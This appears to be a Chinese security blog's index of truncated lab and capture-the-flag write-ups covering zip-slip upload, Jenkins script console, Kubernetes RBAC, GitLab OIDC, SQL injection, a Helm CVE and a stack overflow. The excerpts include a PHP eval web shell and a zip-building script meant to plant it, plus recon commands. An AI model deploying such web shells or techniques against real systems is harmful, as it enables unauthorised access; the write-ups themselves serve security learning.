Yliken

...

登录接口对用户输入的用户名与密码进行了校验 校验通过则返回cookie visited=yes, user=admin 但是相关信息没有在服务端存储 所以只需要将在请求相关接口的时候手动把cookie加上 就可以访问面板 在上传插件的接口有上传插件功能 只可以上传zip，且zip上传成功后会自动解压 这时候想到了之前看过的zipslip漏洞 所以就通过这个方法上传木马到 /var/www/html / zip制作脚本 12345678910111213import zipfileif __name__ == "__main__": try: binary1 = b'vulhub' binary2 = b"<?php eval($_REQUEST['a']);?>" zipFile = zipfile.ZipFile("test.zip",...

主机发现123456789101112┌──(kali㉿kali)-[~/Desktop]└─$ sudo arp-scan -I eth1 192.168.56.1/24[sudo] password for kali: Interface: eth1, type: EN10MB, MAC: 00:0c:29:34:da:f5, IPv4: 192.168.56.103WARNING: host part of 192.168.56.1/24 is non-zeroStarting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)192.168.56.1 0a:00:27:00:00:03 (Unknown: locally administered)192.168.56.100 08:00:27:49:5f:2a PCS Systemtechnik GmbH192.168.56.145 08:00:27:fc:77:b2 PCS...

主机发现12345678910111213141516┌──(kali㉿kali)-[~]└─$ sudo arp-scan -I eth1 192.168.56.1/24[sudo] password for kali: Interface: eth1, type: EN10MB, MAC: 00:0c:29:34:da:f5, IPv4: 192.168.56.103WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission deniedWARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission deniedWARNING: host part of 192.168.56.1/24 is non-zeroStarting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)192.168.56.1 0a:00:27:00:00:03 ...

目标 nmap 12345678910──(kali㉿kali)-[~/Desktop]└─$ nmap -p- -T4 10.1.20.120 Nmap scan report for 10.1.20.120Host is up (0.37s latency).Not shown: 65533 closed tcp ports (reset)PORT STATE SERVICE22/tcp open ssh8080/tcp open http-proxyNmap done: 1 IP address (1 host up) scanned in 1776.62 seconds 8080端口运行了一个Jenkins Jenkins 没有开启认证服务 每当我看到这里 我就认为差不多就可以在这个Jenkins 服务器上面为所欲为了。 因为在Dashboard/Manage Jenkins/Script Console中你可以编写你自己的Groovy来进行命令执行 比如 1234def proc = "ls -la...

Exploit Kubernetes Overly Permissive RBAC 背景 贵公司受聘对新客户的数字基础设施进行渗透测试。经过初步侦察后，您发现可以访问一个凭证已被盗用的 EC2 实例。该实例可能充当了客户 Kubernetes 环境的网关。您的任务是利用这些凭证，探索潜在漏洞，并利用其 Kubernetes 设置中的弱点，最终获得其服务器的 root 级访问权限。 目标:10.1.20.179 目标与环境识别一个演唱会购票页面 随意买一场门票并输入信息之后 会自动生成并下载一个pdf文件。pdf中包含输入的昵称信息 触发了一个报错, 我只在flask里面见过这样子的Method Not Allowed 也可能是我见得少🤣 所以我认为后端是由python flask框架起的一个http服务 由于它做了一个nginx反向代理。 我并没有在数据包或者页面返回头中找到更有效的证据来指明他是python flask应用 SSTI漏洞利用与初始立足然后我在昵称信息表单中输入一个经典的SSTIpayload{{ 7 * 7...

Abuse OpenID Connect and GitLab for AWS Access利用 GitLab OIDC 与 AWS 角色信任链实现权限提升 Real-world context 通过 OpenID Connect (OIDC) 将 GitLab 与 AWS 集成时，组织通常会配置 IAM 信任策略，允许其 GitLab 组或组织下的所有存储库进行角色代入（例如，使用类似 的通配符project_path:my-org/*）。虽然这可以简化 CI/CD 的入门，但可能会带来严重的安全漏洞。 如果GitLab 组下的任何项目遭到入侵——无论是通过恶意贡献者、易受攻击的管道还是钓鱼的开发人员——攻击者都可以利用共享的 OIDC 信任来承担 AWS 角色。由于该角色被授予组织内的任何项目，因此攻击者无需访问最高权限或敏感的存储库——任何低权限或休眠的存储库都可能成为可行的攻击媒介。 以下事实加剧了这种风险： AWS 账户 ID 是公开的，很容易被发现。 无需用户交互，即可在 CI 作业中生成来自 GitLab 的 OIDC 令牌。 GitLab 不会在...

写在最前: 这个靶机没有提权的地方 但是这个靶机的SQL注入点是我之前从来没见过的。 靶机: Democracy 下载页面 信息收集主机发现 192.168.56.157即为目标ip 端口扫描 只开放了22与80两个端口 80端口 大致是一个投票系统 为共和党与民主党候选人投票 点击去投票就会跳转到登录页面 如果没有账户可以注册一个 登录与注册页面进行测试没有发现SQL注入漏洞 登录进去之后 有三个功能 分别是 投票, 查看结果, 重置投票 每个账户只能投票一次 点击重置投票之后 投票信息就会清零 重新进行投票 坑点 每当你成功投票一次的时候 下次再去测试投票功能点的时候就要先进行一次重置投票操作 不然这无法得到想要的回显 対这三个功能点抓个包 投票数据包, 以POST方式传递了一个数据 在传递的数据后面加一个单引号' 报错了。 加俩单引号'就成功投票,且没有报错 但是当在后面加上' -- a的时候 页面仍然报错。 按道理来说--...

你的瞳色是我生命苦寻的永生花， 从此在我生命里悄悄发芽 漏洞描述CVE-2025-53547 是一个影响 Kubernetes 包管理工具 Helm 的高危代码注入漏洞。该漏洞在 Helm 3.18.4 之前的版本中存在。攻击者可以通过精心构造的 Chart.yaml 文件和符号链接的 Chart.lock 文件，在更新依赖时将恶意内容写入目标文件，从而导致本地代码执行。 漏洞修复对比Helm官方仓库v3.18.3与v3.18.4在向Chart.lock文件写入内容之前先检查了一下文件的属性 代码分析根据代码改动可定位到漏洞点存在于pkg/downloader/manager.go文件的writeLock函数中 该函数中在当前目录下面生成Chart.lock文件然后将data内容写入进去。data即为lock锁的内容 在进行文件写入的时候并没有检查文件类型，如果Chart.lock文件是软链接，则会对连接到的文件进行数据写入 一个demo 这个demo...

声明: 我不会pwn， 也没有任何基础 这是我闲着没事随便找pwn题玩的 所以难免会有一些不准确的知识会误导您 buuctf - pwn - rip再次叠甲 写这题的时候啥也不会 看了一眼栈溢出原理 这这个题目与演示的demo一模一样 所以 比葫芦画瓢 该字符串距离 rbp 的长度为 0xf 那么相应的栈结构为 123456789101112 +-----------------+ | retaddr | <-- 返回地址（return address） +-----------------+ | saved rbp | <-- 保存的基址寄存器（RBP） rbp--->+-----------------+ | | <-- 局部变量 / 临时空间（向低地址） | | | ...